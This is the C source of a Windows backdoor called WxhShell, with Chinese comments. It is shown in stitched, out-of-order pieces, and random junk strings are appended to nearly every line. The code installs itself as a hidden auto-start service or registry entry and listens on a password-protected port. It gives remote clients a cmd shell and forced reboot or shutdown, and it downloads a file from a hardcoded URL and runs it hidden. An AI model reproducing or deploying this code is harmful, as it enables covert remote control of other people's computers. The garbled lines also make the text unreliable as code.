  case 'd': { #7 3pryXV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -N8rs[c  
    if(Boot(SHUTDOWN)) x="Wqcnj{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B+K6(^j,,y  
    else { Q,[G?vbj  
    closesocket(wsh); "E(i<  
    ExitThread(0); WeM38&dWY  
    } kJJT`Ba&/  
    break; au{) 5W4~  
    } 5dm~yQN/  
  // 获取shell SXk.7bMV6  
  case 's': { k ucbI_  
    CmdShell(wsh); Kcm+%p^  
    closesocket(wsh); 6nZ]y&$G-k  
    ExitThread(0); Ipk;Nq  
    break; S MWXP  
  } LqbI/AQ)  
  // 退出 vkIIuNdDlx  
  case 'x': { &"^F;z/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ca|egQv  
    CloseIt(wsh); E+aePoU  
    break; S"cTi[9  
    } m\56BP-AM  
  // 离开 *4}_2"[  
  case 'q': { Co1d44Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VBX)xQazU  
    closesocket(wsh); oX|T&"&  
    WSACleanup(); L[x`i'0B  
    exit(1); 9MMCWMV  
    break; Y;/@[AwF  
        } aUaeK(x:H  
  } 6kYluV+j  
  } vqSpF6F q  
{y9G "  
  // 提示信息 z&6_}{2,]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8zp?WUb  
} 4j={ 9e<  
  } :C:6bDQ  
%L=e%E=m  
  return; *'>_XX  
} xDo0bR(  
ev4[4T-( @  
// shell模块句柄 GC')50T J  
int CmdShell(SOCKET sock) 2? qC8eC  
{ $aV62uNf  
STARTUPINFO si; V|8'3=Z=  
ZeroMemory(&si,sizeof(si)); UxGu1a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (BEe^]f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YvJFZ_faX  
PROCESS_INFORMATION ProcessInfo; lq-KM8j  
char cmdline[]="cmd"; 24 [KGp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YO$Ig:a#  
  return 0; /eV)5`V  
} V$?6%\M^*  
W/qXQORv  
// 自身启动模式 d4| )=  
int StartFromService(void) /j~~S'sw  
{ AY /9Io-  
typedef struct .KrLvic  
{ ?2]fE[SqY  
  DWORD ExitStatus; @7Ec(]yp  
  DWORD PebBaseAddress; f/)Y {kS6  
  DWORD AffinityMask; ui%#f1Iq  
  DWORD BasePriority; 5T x4u%g  
  ULONG UniqueProcessId; q`9.@u@a  
  ULONG InheritedFromUniqueProcessId; =\<NTu  
}   PROCESS_BASIC_INFORMATION; }9^:(ty2A  
1SExl U  
PROCNTQSIP NtQueryInformationProcess; 7kLu rv  
, Y:oTo=~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wW%b~JX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tm~9XFQ<  
2Re8rcQQU  
  HANDLE             hProcess; 2 R\K!e  
  PROCESS_BASIC_INFORMATION pbi; 5i[O\@]5  
&W45.2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p:~#(/GWf  
  if(NULL == hInst ) return 0; ~ P\4 N  
%Psg53N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E=I'$*C \D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]3 "0#Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &W\e 5X<A  
?MH=8Cl1w  
  if (!NtQueryInformationProcess) return 0; `i`P}W!F  
w|f+OlPXq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "S;4hO  
  if(!hProcess) return 0; jr` swyg  
!]F`qS>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o@)Fy51DD  
Ue}1(2.v  
  CloseHandle(hProcess); Cff6EE  
j,OA>{-$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d]E=w6 +;Q  
if(hProcess==NULL) return 0;  .\oz  
Ic'D# m  
HMODULE hMod; G#%Sokkb'  
char procName[255]; & DP"RWT/  
unsigned long cbNeeded; Oe Q[-e  
-HF?1c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iHv+I~/  
F@<cp ?dR  
  CloseHandle(hProcess); >g$iO`2  
1)~|{X+~  
if(strstr(procName,"services")) return 1; // 以服务启动 WO>,=^zPJ  
gt8dFcm|s  
  return 0; // 注册表启动 f#l9rV"@g  
} ^&;,n.X5Z  
K@p9_K8  
// 主模块 ^]o H}lwO  
int StartWxhshell(LPSTR lpCmdLine) n/v.U,f&l@  
{ cxR.:LD}  
  SOCKET wsl; y3;M$Jr  
BOOL val=TRUE; H,D5)1Uu  
  int port=0; JZ}zXv   
  struct sockaddr_in door; Q&I #  
Uh0g !zzp  
  if(wscfg.ws_autoins) Install(); fq>{5ODO  
|eRE'Wd0  
port=atoi(lpCmdLine); lf-.c$.>  
6.]~7n  
if(port<=0) port=wscfg.ws_port; H'i\N?VL  
9wx]xg4l"  
  WSADATA data; AJ\gDjj<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y2VfJ}%Q  
Tf#Op v)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ./I?|ih  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u0W6u} 4;  
  door.sin_family = AF_INET; eBa#Z1Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d./R;Z- I{  
  door.sin_port = htons(port); @;O"-7Kk  
?GX@&_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :i{M1z I  
closesocket(wsl); |OLXb+ 7X  
return 1; r`- 8+"P  
} LGc8w>qE  
]\rQ{No  
  if(listen(wsl,2) == INVALID_SOCKET) { ]EK(k7nH  
closesocket(wsl); .c>6}:ye  
return 1; 9 m8KDB[N  
} * K$ U[$s  
  Wxhshell(wsl); *-ys}sX  
  WSACleanup(); (g@X.*c8  
>,Y+ 1  
return 0; !n;3jAl&$  
<<-L,0  
} `Ij EwKra  
*SJ[~  
// 以NT服务方式启动 B9,39rG/7+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t;+b*S6D  
{ j3&q?1  
DWORD   status = 0; "$N$:B@U  
  DWORD   specificError = 0xfffffff; jOCV)V9}  
- "zW"v)\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;'Hu75ymo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r\QV%09R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aEzf*a|fSV  
  serviceStatus.dwWin32ExitCode     = 0; ]-t>F  
  serviceStatus.dwServiceSpecificExitCode = 0; b~UWFX#U  
  serviceStatus.dwCheckPoint       = 0; kB?/_a`]  
  serviceStatus.dwWaitHint       = 0; 1>[#./@  
Ep(xlHTv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mxEe -q  
  if (hServiceStatusHandle==0) return; .<vXj QE  
P84YriLo  
status = GetLastError(); vJs6nVbK  
  if (status!=NO_ERROR) 'Ev[G6vo  
{ +\["HS7+'0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `}`Qqv  
    serviceStatus.dwCheckPoint       = 0; PK|qiu-O&*  
    serviceStatus.dwWaitHint       = 0; E!ZLVR.K  
    serviceStatus.dwWin32ExitCode     = status; X> 98`  
    serviceStatus.dwServiceSpecificExitCode = specificError; oAifM1*0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); onmpMU7w  
    return; =?W7OV^BE  
  } xyo~p,(~t  
+@uA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j|8!gW  
  serviceStatus.dwCheckPoint       = 0; y =sae  
  serviceStatus.dwWaitHint       = 0; Lios1|5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ..Dm@m}  
} /&\ V6=jA1  
Pm#/j;  
// 处理NT服务事件,比如:启动、停止 )a0l:jEOc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;HAvor=?  
{ Q\zaa9P  
switch(fdwControl) %7 -(c  
{ ;ZuHv {=  
case SERVICE_CONTROL_STOP: xtCMK1# x  
  serviceStatus.dwWin32ExitCode = 0; J;<dO7j5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3f$n8>mq  
  serviceStatus.dwCheckPoint   = 0; D5xQ  
  serviceStatus.dwWaitHint     = 0; CH(Y.Kj-  
  { M]X!D7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D?%[du:V  
  } B#hvw'}  
  return; :LB*l5\  
case SERVICE_CONTROL_PAUSE: ~)#E?:h5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LK4NNZf7  
  break; ">!pos`<C  
case SERVICE_CONTROL_CONTINUE: uO]|YF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vn*K\,  
  break; IAzFwlO9  
case SERVICE_CONTROL_INTERROGATE: YJ6:O{AL1  
  break; NRG06M  
}; #5h_{q4l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Tv~ *|a  
} ,d*1|oUw  
A",}Ikh='`  
// 标准应用程序主函数 oj.J;[-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G:1QXwq\j  
{ ]#DCO8Vk  
u(yN81  
// 获取操作系统版本 Ohj^Z&j  
OsIsNt=GetOsVer(); Q }^Ip7T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1p5'.~J+Q  
\: F$7 *Ne  
  // 从命令行安装 fe<7D\Sp@  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y=|20Y\K  
c2Z !Vtd  
  // 下载执行文件 F,)+9/S&  
if(wscfg.ws_downexe) { [z\baL|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &,8Qe;  
  WinExec(wscfg.ws_filenam,SW_HIDE); 117lhx].'  
} UrciCOQf  
Bx\ o8k  
if(!OsIsNt) { /~s<@<1!X  
// 如果时win9x,隐藏进程并且设置为注册表启动 '\d ldg#P  
HideProc(); BUwL?  
StartWxhshell(lpCmdLine); 0\"#Xa+}8  
} <uBRLe`)  
else huA?*fat   
  if(StartFromService()) x6JV@wA&  
  // 以服务方式启动 2gklGDJD  
  StartServiceCtrlDispatcher(DispatchTable); z&n2JpLY7  
else jP/Vqe%%8  
  // 普通方式启动 ;=IJHk1&  
  StartWxhshell(lpCmdLine); <sm"3qs"_  
vO$cF*  
return 0; m;4ti9  
} _(?`eWo  
K_ymA,&()  
:sK4mRF  
l]D $QT3  
=========================================== 'bLP#TAzf  
j&/+/s9N  
lijT L-3  
_:NQF7X#ug  
"CC"J(&a  
8pA<1H%  
" &`s{-<t<L  
OA6i/3 #8  
#include <stdio.h> t}I@Rmso  
#include <string.h> >WZbb d-  
#include <windows.h> {5  pK8  
#include <winsock2.h> @",#'eC"  
#include <winsvc.h> fQ1j@{Xa  
#include <urlmon.h> n6,YA2yZO  
vy5Fw&?"  
#pragma comment (lib, "Ws2_32.lib") !^y;|9?O  
#pragma comment (lib, "urlmon.lib") -3? <Ja  
(x/:j*`K  
#define MAX_USER   100 // 最大客户端连接数 _kRc"MaB  
#define BUF_SOCK   200 // sock buffer p{_*<"cfYn  
#define KEY_BUFF   255 // 输入 buffer |S).,B  
XZ8rM4 ]  
#define REBOOT     0   // 重启 U!Zj%H1XQ0  
#define SHUTDOWN   1   // 关机 lr;ubBbT  
VHqoa>U,*  
#define DEF_PORT   5000 // 监听端口 7neJV  
ct|0zl~  
#define REG_LEN     16   // 注册表键长度 Q1|6;4L  
#define SVC_LEN     80   // NT服务名长度  *p9)5  
X%<qHbKB,  
// 从dll定义API ed5oN^V.<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _3%:m||,XP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JAjiG^]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?kZ-,@h:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3mYW]  
`Rq|*:LV  
// wxhshell配置信息 "XV@O jr E  
struct WSCFG { Q_fgpjEh/t  
  int ws_port;         // 监听端口 M0C)SU5"  
  char ws_passstr[REG_LEN]; // 口令 _2`b$/)-  
  int ws_autoins;       // 安装标记, 1=yes 0=no GTfM *b  
  char ws_regname[REG_LEN]; // 注册表键名 aj|PyX3P:  
  char ws_svcname[REG_LEN]; // 服务名 S]%,g%6i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R!/JZ@au<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4P)#\$d:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hTO 2+F*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j3%Wrt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RuVk>(?WK%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v4E=)?  
`_GCS,/t  
}; 03|nP$g  
xjnAK!sD  
// default Wxhshell configuration s}Go")p<:  
struct WSCFG wscfg={DEF_PORT, 9?hF<}1XH}  
    "xuhuanlingzhe", tvVf)bbz  
    1, b@4UR<  
    "Wxhshell", !D{z. KO  
    "Wxhshell", }m?Ut|  
            "WxhShell Service", =ZU!i0 K  
    "Wrsky Windows CmdShell Service", W\Scak>  
    "Please Input Your Password: ", a""9%./B  
  1, t1 9f%d  
  "http://www.wrsky.com/wxhshell.exe", e~)4v  
  "Wxhshell.exe" >{~xO 6H  
    }; WdS1v%  
wTR?8$  
// 消息定义模块 jCtk3No  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2P`./1L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,#;`f=aqTG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oF+yh!~mM  
char *msg_ws_ext="\n\rExit."; UJp'v_hN  
char *msg_ws_end="\n\rQuit."; KLG.?`h:  
char *msg_ws_boot="\n\rReboot..."; r8*xp\/  
char *msg_ws_poff="\n\rShutdown..."; :+QNN<  
char *msg_ws_down="\n\rSave to "; Uv.Xw}q  
s/J7z$NEU  
char *msg_ws_err="\n\rErr!"; $1d{R;b[  
char *msg_ws_ok="\n\rOK!"; x4g6Qze  
9cN@y<_I  
char ExeFile[MAX_PATH]; tFn[U#'  
int nUser = 0;  )$f?v22  
HANDLE handles[MAX_USER]; *UW 8|\;  
int OsIsNt; BH^*K/ ^  
$,r%@'=&  
SERVICE_STATUS       serviceStatus; 0)h.[O8@>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZW"f*vwQo  
: Gi8Jo  
// 函数声明 ?Q=(?yR0]  
int Install(void); am.d^'  
int Uninstall(void); ;}S_PnwC@  
int DownloadFile(char *sURL, SOCKET wsh); 4mp)v*z  
int Boot(int flag); CpX[8>&osD  
void HideProc(void); {P?DkUO}  
int GetOsVer(void); O{byMV{Ou  
int Wxhshell(SOCKET wsl); 1#"wfiW  
void TalkWithClient(void *cs); B[8 RBTsA  
int CmdShell(SOCKET sock); 7yg {0a  
int StartFromService(void); &``nD  
int StartWxhshell(LPSTR lpCmdLine); ]P7gEBi  
G] tT=X[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b9i_\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B$s6|~  
a}VR>!b  
// 数据结构和表定义 OraT$lV)_  
SERVICE_TABLE_ENTRY DispatchTable[] = d!&LpODI]*  
{ LR#.xFQ+  
{wscfg.ws_svcname, NTServiceMain}, =M@)q y  
{NULL, NULL} \J?&XaO=  
}; ^hEN  
V?^qW#AG  
// 自我安装 w > GW  
int Install(void) 3kGg;z6  
{ W}D[9zo/  
  char svExeFile[MAX_PATH]; Jr2>D=  
  HKEY key; @g#| srYD  
  strcpy(svExeFile,ExeFile); "tk1W>liIN  
U$a)lcJd  
// 如果是win9x系统,修改注册表设为自启动 ;{iTS sb  
if(!OsIsNt) { uW[AnQ1w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z9% u,Cb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dE[X6$H[  
  RegCloseKey(key); &l{ctP%q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { leizjL\P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y<`:I|y  
  RegCloseKey(key); $ <[r3  
  return 0; MGw XZ7?E  
    } -Tuk.>i)  
  } Qqb%^}Xx'u  
} *Y53b Z  
else { 3~WI3ZIR  
@*op5qVw  
// 如果是NT以上系统,安装为系统服务 ;Cx`RF w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mpDxJk!   
if (schSCManager!=0) F!C<^q~!  
{ BgCEv"G5  
  SC_HANDLE schService = CreateService 'S v V10$5  
  ( {~EsO1p  
  schSCManager, @{<^rLt  
  wscfg.ws_svcname, 8BS Nm  
  wscfg.ws_svcdisp, O6-';H:I]L  
  SERVICE_ALL_ACCESS, n^G[N-\3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #>5T,[{?j  
  SERVICE_AUTO_START, 1)N#  
  SERVICE_ERROR_NORMAL, @frV:%  
  svExeFile, tg/!=g  
  NULL, 3v#F0s|  
  NULL, V%M@zd?u.  
  NULL,  mSFA i  
  NULL, 0H'G./8  
  NULL r:U<cL T[9  
  ); @v /Ae_q!  
  if (schService!=0) m5?t<H~  
  { pwVGe|h%,  
  CloseServiceHandle(schService); q8e]{sT'!  
  CloseServiceHandle(schSCManager); [zrFW g6N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a*_" nI&lr  
  strcat(svExeFile,wscfg.ws_svcname); sC :.}6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y{4nBu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #iD`Bg!VXc  
  RegCloseKey(key); 7Z}T!HFMr  
  return 0; KlwB oC/{K  
    } Z y6kA\q  
  } V3 ~&R:Z9e  
  CloseServiceHandle(schSCManager); YZ->ep}  
} vBY?3p,0p  
} kk CoOTe&  
[-)BI|S:  
return 1; ?%Pi#%P  
} ;t.)A3 PL  
XzBl }4s  
// 自我卸载 56Lt "Z F  
int Uninstall(void) a63Ud<_a7  
{ \:Hh'-77q  
  HKEY key; 3Z}m5f`t  
mI;\ UOh'  
if(!OsIsNt) { [|YuT:Cp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (I1^nrDP.  
  RegDeleteValue(key,wscfg.ws_regname); H,!yG5yF  
  RegCloseKey(key); K1- 3!G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sa"!ckh  
  RegDeleteValue(key,wscfg.ws_regname); Ob|tA  
  RegCloseKey(key); xCu\jc)2  
  return 0; ~!Rf5QA85  
  } b|.<rV'BTt  
} vcOw`oS  
} /5f=a  
else { cdL0<J b,  
|Yi_|']#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \&v)#w  
if (schSCManager!=0) "t>H B6^  
{ +5Y;JL<%/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >+[{m<Eq  
  if (schService!=0) ge{%B~x  
  { $cO-+Mr-~  
  if(DeleteService(schService)!=0) { Gx%f&H~Z^  
  CloseServiceHandle(schService); ch/DBu  
  CloseServiceHandle(schSCManager); 'L%)B-,n  
  return 0; c#fSt}J>C  
  } Ee$F]NA  
  CloseServiceHandle(schService); Sjmq\A88dc  
  } ,YrPwdaTB  
  CloseServiceHandle(schSCManager); !3*%-8bp  
} RE;)#t?K  
} G|UeR=/  
m]VOw)mBF  
return 1; zwlz zqV  
} *W4~.peoE  
V67<Ky>  
// 从指定url下载文件 pvM`j86 _  
int DownloadFile(char *sURL, SOCKET wsh) <ZoMKUuB  
{ ;'4Kg@/  
  HRESULT hr; P[P]oT.N  
char seps[]= "/"; AT"!Ys|  
char *token; jXyK[q&O&  
char *file; kl5Y{![/&f  
char myURL[MAX_PATH]; A^7}:[s20  
char myFILE[MAX_PATH]; :rN5HOg^9  
!$,e)89  
strcpy(myURL,sURL); 4+N9Ylh  
  token=strtok(myURL,seps); ENZYrWl  
  while(token!=NULL) &WVRh=R  
  { >% E=l  
    file=token; ;E\e.R  
  token=strtok(NULL,seps); 1KI5tf>>p  
  } @p9YHLxLjQ  
;.d{$SO  
GetCurrentDirectory(MAX_PATH,myFILE); 0(|36 ;x  
strcat(myFILE, "\\"); ]Mgxv>zRbs  
strcat(myFILE, file); `n%8y I%  
  send(wsh,myFILE,strlen(myFILE),0); v-}D>)M^W  
send(wsh,"...",3,0); t,yMO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D{]9s  
  if(hr==S_OK) $4>x4*  
return 0; T'%R kag>  
else k= .pcDX  
return 1; 6p~8(-nG  
.!g  
} TI637yqCU  
ju/#V}N  
// 系统电源模块 "l-b(8n  
int Boot(int flag) T:w%RF[v9  
{ 5G WC  
  HANDLE hToken; DcNwtts  
  TOKEN_PRIVILEGES tkp; +2^Mz&I@b  
vb]H $@0  
  if(OsIsNt) { 2P VQSwW:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P{>-MT2E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !u%XvxJwDb  
    tkp.PrivilegeCount = 1; I !g+K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Vs&Ul6@N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .v#Tj|w^  
if(flag==REBOOT) { q<Wz9lDMNR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2!6-+]tC  
  return 0; ]=sGLd^)E  
} `g,i `<  
else { GuRJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7j{63d`2  
  return 0; :stA]JB# w  
} ]iH~ 1[  
  } G/_9!lE  
  else { 1(m[L=H5>  
if(flag==REBOOT) { jRSY`MU}t+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zFO#oW,D  
  return 0; ]*yUb-xY  
} j{H,{x  
else {  u~j&g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aumM\rY  
  return 0; ,V # r  
} ey) 8q.5  
} $ud\CU:r  
(p}N cn.  
return 1; PQ4)kVT  
} n~v*  
Q`(h  
// win9x进程隐藏模块 jR mo9Bb2  
void HideProc(void) FK`M+ j  
{ S1d{! ` 3  
, Y cF~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eRvnN>L  
  if ( hKernel != NULL ) 5,K*IH  
  { Q`(.Blgm;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V=5v7Y3( j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Qon>[<]B  
    FreeLibrary(hKernel); HT=-mwa_]  
  } 2)+ddel<Z  
bRK[u\,  
return; N#4"P: Sv  
} rn%q*_3-o  
WRfhxl  
// 获取操作系统版本 3^p;'7x  
int GetOsVer(void) Vi\kB%  
{ ./E<v  
  OSVERSIONINFO winfo; u75(\<{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >iFi~)i_4y  
  GetVersionEx(&winfo); GF^ ?#Jh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >`D$Jz,  
  return 1; 5TVA1  
  else jmh$6 N% F  
  return 0; z)]Br1  
} E0<$zP}V}F  
fs%l j_t  
// 客户端句柄模块 )w&k&TY4H  
int Wxhshell(SOCKET wsl) R{SN.%{;  
{ K._* ~-A  
  SOCKET wsh; gqQ"'SRw  
  struct sockaddr_in client; QAKA3{-(  
  DWORD myID; f|-%.,  
uUI@!)@2  
  while(nUser<MAX_USER) PvqG5-L~W  
{ " )/febBS  
  int nSize=sizeof(client); Y8%*S%yO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vHxLn/  
  if(wsh==INVALID_SOCKET) return 1; bf-V Q7  
i[a1ij=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CxJkT2  
if(handles[nUser]==0) EZg$mp1  
  closesocket(wsh); V [r1bF  
else Pvu*Y0_p  
  nUser++; a;[=b p  
  } a<mM )[U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \XT~5N6  
)MU)'1jc,  
  return 0; o<nkK+=Afm  
} QPT%CW61M  
yOXL19d@p_  
// 关闭 socket D0a3%LBS/2  
void CloseIt(SOCKET wsh) k&SI -jxj  
{ ^h\Y.  
closesocket(wsh); 6=i@t tAK  
nUser--; kxVR#:  
ExitThread(0); +LeM[XX  
} x4nmDEpa  
7\sRf/  
// 客户端请求句柄 ^Y- S"Ks  
void TalkWithClient(void *cs) vK~tgZ&  
{ JN:EcVuy  
e!JC5Al7  
  SOCKET wsh=(SOCKET)cs; c 6Z\ecH9  
  char pwd[SVC_LEN]; 3pk `&'  
  char cmd[KEY_BUFF]; /5 6sPl 7}  
char chr[1]; >pq= .)X}  
int i,j; $@ Fvl-lK  
}E]&,[4&M  
  while (nUser < MAX_USER) { Or*e$uMIY  
P{_Xg,Z  
if(wscfg.ws_passstr) { |>L|7>J{<d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QvjOOc@k~n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y( uE  
  //ZeroMemory(pwd,KEY_BUFF); EoD[,:*  
      i=0; Ec;{N  
  while(i<SVC_LEN) { ZVX!=3VT  
5zR9N>!c  
  // 设置超时 f+iM_MI  
  fd_set FdRead; Vv3{jn6%  
  struct timeval TimeOut; +U];  
  FD_ZERO(&FdRead); 9 9S-P}xd  
  FD_SET(wsh,&FdRead); VwxLElV  
  TimeOut.tv_sec=8; huw|J<$  
  TimeOut.tv_usec=0; ej9|Y5D"S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X9oxni#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {X'D07q  
3ZEV*=+T5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I!OV+utF  
  pwd=chr[0]; B>"O~ gZ{#  
  if(chr[0]==0xd || chr[0]==0xa) { 1hnw+T<<W  
  pwd=0; xU_Dg56z'&  
  break; 3iC$ "9!p  
  } $X%'je  
  i++; i`)h~V|G  
    } v?en-,{A  
r^,XpRe&M  
  // 如果是非法用户,关闭 socket ,Kw]V %xOb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B qA  
} xesZ 7{ o  
\vQjTM-7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v;m}<3@'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tjIT4  
Yf=Puy}q  
while(1) { X[Q:c4'  
.*z Wm  
  ZeroMemory(cmd,KEY_BUFF); ]-b`uYb  
Q7vTTn\  
      // 自动支持客户端 telnet标准   cXY;Tw45  
  j=0; cun&'JOH?U  
  while(j<KEY_BUFF) { 7@*l2edXm+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E=9xiS  
  cmd[j]=chr[0]; ,J63 ?EQ3  
  if(chr[0]==0xa || chr[0]==0xd) { =Pu;wx9  
  cmd[j]=0; t'pY~a9F  
  break; @ZUrr_|  
  } |q:p^;x  
  j++; 4I97<zmrT  
    } >|S&@<  
(+^z9p7/!  
  // 下载文件 C%l+<wpXO  
  if(strstr(cmd,"http://")) { S[zX@3eZV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R&`; C<6}D  
